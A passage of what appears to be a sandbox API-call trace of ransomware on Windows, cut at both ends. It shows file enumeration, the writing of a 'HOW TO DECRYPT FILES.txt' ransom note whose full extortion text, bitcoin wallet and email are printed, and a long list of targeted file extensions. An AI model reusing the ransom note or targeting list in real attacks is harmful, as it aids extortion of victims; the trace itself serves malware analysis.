dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.167] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.167] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28294410, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x28294410, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x28294410, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.167] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.167] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.167] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28248150, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x28248150, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x28248150, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x27600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.167] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.167] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll") returned -1 [0103.167] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll") returned -1 [0103.167] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll") returned -1 [0103.167] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\*.*") returned="*.*" [0103.167] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\" [0103.167] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\") returned="" [0103.167] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\HOW TO DECRYPT FILES.txt" [0103.167] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\a18b0022a391eee36847383531694a8d\\how to decrypt files.txt")) returned 0xffffffff [0103.168] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\a18b0022a391eee36847383531694a8d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.171] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.171] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.173] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.174] CloseHandle (hObject=0x90) returned 1 [0103.174] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll" [0103.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0103.174] lstrlenA (lpString="*.ems") returned 5 [0103.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.db") returned 0 [0103.174] lstrlenA (lpString="*.db") returned 4 [0103.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.174] lstrlenA (lpString="*.dbf") returned 5 [0103.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0103.174] lstrlenA (lpString="*.myox") returned 6 [0103.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0103.174] lstrlenA (lpString="*.myo") returned 5 [0103.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.174] lstrlenA (lpString="*.qbw") returned 5 [0103.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.174] lstrlenA (lpString="*.qbb") returned 5 [0103.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.174] lstrlenA (lpString="*.qbm") returned 5 [0103.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.175] lstrlenA (lpString="*.qbo") returned 5 [0103.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.175] lstrlenA (lpString="*.qbx") returned 5 [0103.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0103.175] lstrlenA (lpString="*.qba") returned 5 [0103.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0103.175] lstrlenA (lpString="*.qby") returned 5 [0103.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.175] lstrlenA (lpString="*.qbj") returned 5 [0103.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.175] lstrlenA (lpString="*.ofx") returned 5 [0103.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0103.176] lstrlenA (lpString="*.qif") returned 5 [0103.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0103.176] lstrlenA (lpString="*.mye") returned 5 [0103.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.176] lstrlenA (lpString="*.mbox") returned 6 [0103.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.176] lstrlenA (lpString="*.eml") returned 5 [0103.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0103.176] lstrlenA (lpString="*.pst") returned 5 [0103.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0103.176] lstrlenA (lpString="*.ost") returned 5 [0103.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0103.176] lstrlenA (lpString="*.idx") returned 5 [0103.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.177] lstrlenA (lpString="*.dbx") returned 5 [0103.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0103.177] lstrlenA (lpString="*.sql") returned 5 [0103.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.177] lstrlenA (lpString="*.mdb") returned 5 [0103.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.177] lstrlenA (lpString="*.fdb") returned 5 [0103.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0103.177] lstrlenA (lpString="*.wab") returned 5 [0103.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0103.177] lstrlenA (lpString="*.dat") returned 5 [0103.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0103.177] lstrlenA (lpString="*.txt") returned 5 [0103.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.177] lstrlenA (lpString="*.jpeg") returned 6 [0103.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.177] lstrlenA (lpString="*.jpg") returned 5 [0103.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.png") returned 0 [0103.178] lstrlenA (lpString="*.png") returned 5 [0103.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.php") returned 0 [0103.178] lstrlenA (lpString="*.php") returned 5 [0103.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0103.178] lstrlenA (lpString="*.cs") returned 4 [0103.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.178] lstrlenA (lpString="*.cpp") returned 5 [0103.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0103.178] lstrlenA (lpString="*.rar") returned 5 [0103.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0103.178] lstrlenA (lpString="*.zip") returned 5 [0103.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.html") returned 0 [0103.178] lstrlenA (lpString="*.html") returned 6 [0103.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0103.178] lstrlenA (lpString="*.htm") returned 5 [0103.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.178] lstrlenA (lpString="*.xlsx") returned 6 [0103.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0103.179] lstrlenA (lpString="*.xls") returned 5 [0103.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.179] lstrlenA (lpString="*.mp4") returned 5 [0103.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.179] lstrlenA (lpString="*.ppt") returned 5 [0103.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.179] lstrlenA (lpString="*.pptx") returned 6 [0103.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0103.179] lstrlenA (lpString="*.doc") returned 5 [0103.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0103.179] lstrlenA (lpString="*.dot") returned 5 [0103.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0103.179] lstrlenA (lpString="*.docx") returned 6 [0103.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0103.179] lstrlenA (lpString="*.7z") returned 4 [0103.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0103.180] lstrlenA (lpString="*.tar") returned 5 [0103.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.180] lstrlenA (lpString="*.bz2") returned 5 [0103.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0103.180] lstrlenA (lpString="*.gz") returned 4 [0103.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.180] lstrlenA (lpString="*.mkv") returned 5 [0103.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.180] lstrlenA (lpString="*.eml") returned 5 [0103.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0103.180] lstrlenA (lpString="*.msg") returned 5 [0103.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0103.180] lstrlenA (lpString="*.edb") returned 5 [0103.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.180] lstrlenA (lpString="*.accdb") returned 7 [0103.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0103.180] lstrlenA (lpString="*.odb") returned 5 [0103.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.java") returned 0 [0103.181] lstrlenA (lpString="*.java") returned 6 [0103.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0103.181] lstrlenA (lpString="*.asm") returned 5 [0103.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.181] lstrlenA (lpString="*.pfx") returned 5 [0103.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0103.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0103.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0103.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0103.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0103.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0103.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0103.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.182] PathMatchSpecA 